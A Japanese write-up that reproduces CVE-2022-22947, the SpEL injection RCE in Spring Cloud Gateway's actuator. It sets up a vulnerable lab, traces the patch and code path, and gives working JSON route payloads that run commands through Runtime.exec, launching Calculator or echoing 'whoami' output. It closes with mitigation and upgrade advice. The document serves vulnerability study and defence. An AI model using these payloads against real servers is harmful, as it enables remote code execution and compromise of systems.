
GitHub上に既に作成された環境コードをクローンします。
//⚠️環境コードのダウンロードパスに日本語やスペースを含めないでください
git clone https://github.com/Ha0Liu/CVE-2022-22947.git

IDEAでダウンロードしたコードパッケージを開きます。[Open] → [ダウンロードしたファイルのパス] → [Open] の順に選択します。
自分で手動でプロジェクトを作成し、環境を構築します。
(1)新規プロジェクトを作成し、設定後はそのまま「Next」をクリックします。

(2)プロジェクトのディレクトリ構成を分析します。
1. .ideaフォルダはIntelliJ IDEAのデフォルト設定ファイルで、特に用途はありません。必要に応じて削除または保持できます。
2. srcフォルダは主にプロジェクト全体のコード領域であり、javaとresourceの2つのフォルダを含みます。javaはJavaコードを記述する領域、resourceはプロジェクト全体の設定領域です。SpringプロジェクトではデフォルトでjavaにSpringApplicationメソッドが追加され、これがSpringのデフォルト起動メソッドです。resourceにはデフォルトでapplication.propertiesが追加され、これがSpringプロジェクトの設定ファイルです。
3. testフォルダはテスト用フォルダで、テストメソッドを記述できます。
4. pom.xmlはMavenの設定ファイルで、プロジェクトに必要な依存関係や設定などを含みます。
5. .imlはMaven依存パッケージの設定で、デフォルトで追加されます。
6. External Librariesフォルダはこのプロジェクトのすべての依存パッケージです。
(3)Maven依存関係をpom.xmlファイルに追加します(Mavenリポジトリにすべての依存関係の詳細が含まれています)。
1. pom.xmlファイルにはデフォルトで一部のXMLコードが生成されます。詳細は次のとおりです。

2. プロジェクトに必要な依存関係をインポートします。このプロジェクトはSpring Bootプロジェクトであるため、サーバースターターとしてspring-boot-starter依存関係が必要です。次に、この脆弱性はSpring CloudのGatewayに関するもので、危険なバージョンは3.1.1未満のため、今回は3.1.0バージョンを使用して脆弱性の再現を行います。また、actuatorインターフェースを介してゲートウェイを監視・アクセスする必要があるため、この依存関係も必要です。具体的な内容は次のとおりです。

(4)Springの設定ファイルを変更します(パス: src → main → resources → application.properties)。詳細は次のとおりです。
1. server.portはSpringサーバーの起動ポートで、デフォルトは8080です。状況に応じて設定できます。
2. management.endpoint.gateway.enabled=trueはactuatorエンドポイントでSpring Cloud Gatewayを検出するためのもので、デフォルトはfalseです。この脆弱性ではゲートウェイの状態を監視する必要があるため、手動でtrueに変更して監視を有効にします。
3. management.endpoints.web.exposure.include=gatewayはサーバーのゲートウェイとしてGatewayゲートウェイを選択するものです。この脆弱性はGatewayゲートウェイの脆弱性であるため、設定ファイルでゲートウェイにGatewayを選択することを宣言します。

(5)新規プロジェクト作成後に自動生成されるJavaクラスを変更します(クラス名は通常「プロジェクト名+Application」、パスはsrc → main → java → com.xxx.xxx → xxxApplication)。詳細は以下の図を参照してください。

(6)プロジェクトを起動します。詳細は以下の図のとおりです。

(7)http://localhost:9000にアクセスし、ページがスクリーンショットと一致していれば、環境構築が成功したことを示します。

(1)まず、公式の修正パッチを確認します。差分は次のとおりです。https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e 公式はorg.springframework.cloud.gateway.support.ShortcutConfigurable#getValue関数で、GatewayEvaluationContextを使用してStandardEvaluationContextを置き換え、SPEL式を実行しています。

上の図から、このパッチは主にSPEL式の解析方法を変更していることがわかります。66行目のif文から、SPEL式は「#{」で始まり「}」で終わる必要があることがわかります。このgetValueメソッドはSPEL式を解析する機能を持ち、この脆弱性がSPEL式から引き起こされるRCE脆弱性であることがわかります。
(2)control + マウス左クリックでgetValueフィールドをクリックし、org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType列挙型までバックトレースします。

上のdefaultメソッドから、列挙型のDEFAULTメソッドが呼び出されていることがわかります。メソッドの詳細は次のとおりです。
default ShortcutType shortcutType() {
return ShortcutType.DEFAULT;
}

(3)org.springframework.cloud.gateway.support.ConfigurationService.class#normalizeProperties()までバックトレースします。

このnormalizeProperties()はフィルターのプロパティを解析し、フィルターの設定プロパティをnormalizeに渡し、最終的にgetValueでSPEL式を実行してSPELインジェクションを引き起こします。
(1)ドキュメント[https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html](https://cloud.spring.io/spring-cloud-gateway/multi/multi actuator_api.html ) によると、ユーザーはactuatorを介してゲートウェイにルートを作成および削除できます。次の図はゲートウェイの基本構造です。

(2)IDEAでは、actuatorのmapping機能を使用して、ゲートウェイの作成、削除などの機能インターフェースを見つけることができます。

(3)RouteDefinitionクラスをトレースすると、このクラスがゲートウェイの構造内容を宣言していることがわかります。

(4)その中のFilterDefinitionクラスをトレースすると、Filterにはnameとargsの2つのパラメータがあることがわかります。
(5)このnameパラメータをトレースすると、AbstractGatewayControllerEndpoint#save()メソッドでnameがフィルタリングされていることがわかります。saveメソッドはゲートウェイを作成するためのインターフェースで、このメソッドはゲートウェイのid(カスタマイズ可能)とRouteDefinitionの2つのパラメータを呼び出します。上記で、このオブジェクトが作成されたゲートウェイの構造内容を宣言していることが説明されており、これにより脆弱性がトリガーされます。

(6)ブレークポイントを設定してisAvailable()メソッドを動的にデバッグし、どのnameがこのフィルターを通過できるかを確認します。


上図のようなnameを使用してname検証をバイパスできます。
(7)上記の分析により、指定された「name」パラメータと「#{」で始まり「}」で終わるSPEL式を使用してRCE攻撃を行うことができます。ペイロードは次のとおりです。
/**
* ペイロードのSPEL式の説明
* ここでは式を介してコマンドを実行する必要があるため、T(java.lang.Runtime).getRuntime().exec()の形式でコマンド実行メソッドを呼び出す必要があります。
* コマンド実行時にはString型の文字列として式を渡す必要があるため、式を強制的にStringオブジェクトに型変換する必要があります。
* 式を渡す際にはバイトストリームとして渡す必要があるため、T(org.springframework.util.StreamUtils).copyToByteArray()メソッドを呼び出す必要があります。
/
{
"id": "任意に変更可能(以前作成したidと重複しないこと)",
"filters": [{
"name": "👆上のスクリーンショット内の任意のname",
"args": {
"name": "任意に変更可能",
//このvalueは電卓を起動するコマンド(MacOS)
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(8)predicatesの応答なしの利用チェーン([公式サイト](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#creating-and- deleting-a-particular-route)):predicatesのSPEL実行フローはfilterの実行フローと同じです。下図はpredicatesのname検証一致内容です。これらのnameを使用してコマンド実行を行うことができます。動的デバッグによりpredicatesのname検証メカニズムを取得し、公式サイトのexampleに従ってペイロードを構築できます。

/**
* ペイロードのSPEL式の説明
* ここでは式を介してコマンドを実行する必要があるため、T(java.lang.Runtime).getRuntime().exec()の形式でコマンド実行メソッドを呼び出す必要があります。
* コマンド実行時にはString型の文字列として式を渡す必要があるため、式を強制的にStringオブジェクトに型変換する必要があります。
* 式を渡す際にはバイトストリームとして渡す必要があるため、T(org.springframework.util.StreamUtils).copyToByteArray()メソッドを呼び出す必要があります。
/
{
"id": "任意に変更可能(以前作成したidと重複しないこと)",
"predicates": [{
"name": "👆上のスクリーンショット内の任意のname",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/System/Applications/Calculator.app/Contents/MacOS/Calculator\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
応答なしのfilters、predicatesチェーンは確かに存在し、filtersとpredicatesの名前が制限を合法にバイパスできれば、RCEをトリガーできます。
(1)応答の原理:ユーザーが保存したルート定義情報はメモリに保存され、ルートをリフレッシュしてspel式を実行した後、実行結果がルート情報に書き込まれます。ルート情報を表示するAPIインターフェースを介して、ルート情報の表示でRCE実行結果を確認できます。
(2)公式サイトの説明によると、filtersの応答ありの利用チェーンでは、name="AddResponseHeader"を使用すると応答ありの利用チェーンをトリガーできます。
/**
* ペイロードのSPEL式の説明
* ここでは式を介してコマンドを実行する必要があるため、T(java.lang.Runtime).getRuntime().exec()の形式でコマンド実行メソッドを呼び出す必要があります。
* コマンド実行時にはString型の文字列として式を渡す必要があるため、式を強制的にStringオブジェクトに型変換する必要があります。
* 式を渡す際にはバイトストリームとして渡す必要があるため、T(org.springframework.util.StreamUtils).copyToByteArray()メソッドを呼び出す必要があります。
/
{
"id": ""任意に変更可能(以前作成したidと重複しないこと)",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
(3)次に、name="AddResponseHeader"以外にも、応答なしチェーンのようにすべてのnameで応答ありのRCE攻撃が可能かどうかを検討する必要があります。
(4)name="RedirectTo"を使用して再現を試み、応答ありの攻撃が可能かどうかを確認します。


応答ができないことがわかります。バックエンドのログ情報を確認すると、バックエンドがNullPointerExceptionを返していることがわかります。

公式サイトで確認すると、入力したargsパラメータがフィルターと一致していないことが原因です。このフィルターには"status"と"url"の2つのパラメータが必要です。パラメータを変更して再度実行します。


依然として404が返されますが、バックエンドのエラーはNullPointerExceptionではなくなりました。エラー情報から、spring-cloud-gatewayがurl形式を解析していることがわかります。つまり、対応するパラメータには型制限があり、例えばstatusはHTTPステータスコード(列挙型)である必要があります。

別の突破口を見つける必要があります。String型のパラメータを探します。
(5)公式サイトでString型パラメータのフィルターを探します([公式リンク](https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#the- removerequestheader-gatewayfilter-factory[))。例えば、RemoveRequestHeaderフィルターはString型のname文字列を1つだけ受け取ります。これにより、nameの値としてSPEL式を構築できます。

以下でペイロードを構築して試すと、応答があることが確認できます。


Filtersの応答ありの利用チェーンでは、nameに対するフィルターだけでなく、argsパラメータにも一定の制限があることがわかります。ただし、異なるフィルターを構築することでその制限をバイパスできます。
(6)predicatesの応答ありの利用チェーンの調査方法はFiltersと同じです。公式サイトのパラメータタイプと内容に基づいてフィルタリングし、SPEL式を実行できるフィルターを見つければ、応答ありのRCEを実行できます。
(7)predicatesでは、name="Cookie"を使用してコマンド実行が可能です。公式サイトのパラメータリファレンスに従って構築します。

ペイロードを構築して試すと、応答が成功することが確認できます。


predicatesの応答チェーンは確かに存在し、argsのパラメータ名だけでなく、対応するパラメータの型にも制限があります。また、パラメータの完全性にも制限があります。
応答ありの利用チェーンでは、Springはフィルターのnameだけでなく、argsのパラメータ型やパラメータ数にも対応する制限をかけています。公式サイトのフィルター詳細を確認することで、利用可能なチェーンの有無を判断できます。
(1)まずゲートウェイを作成する必要があります。POSTリクエストを送信し、悪意のあるペイロードを構築します。

(2)ゲートウェイをリフレッシュします。

(3)ゲートウェイ情報を取得するため、GETリクエストを送信します。先ほど作成したtestゲートウェイをリクエストし、電卓が起動します。

(4)ゲートウェイを削除します。

(1)まずゲートウェイを作成する必要があります。POSTリクエストを送信し、悪意のあるペイロードを構築します。

(2)ゲートウェイをリフレッシュします。

(3)ゲートウェイ情報を取得するため、GETリクエストを送信します。先ほど作成したhacktestゲートウェイをリクエストし、「whoami」の応答が成功します。

(4)ゲートウェイを削除します。

(1)Actuatorエンドポイントが不要な場合は、以下の設定で無効にできます。
management.endpoint.gateway.enabled=false
(2)Actuatorエンドポイントが必要な場合は、Spring Securityを使用して保護する必要があります。
公式はセキュリティバージョンをリリースしました。
3.1.X バージョンのユーザーは 3.1.1+ にアップグレードしてください。
3.0.X バージョンのユーザーは 3.0.7+ にアップグレードしてください。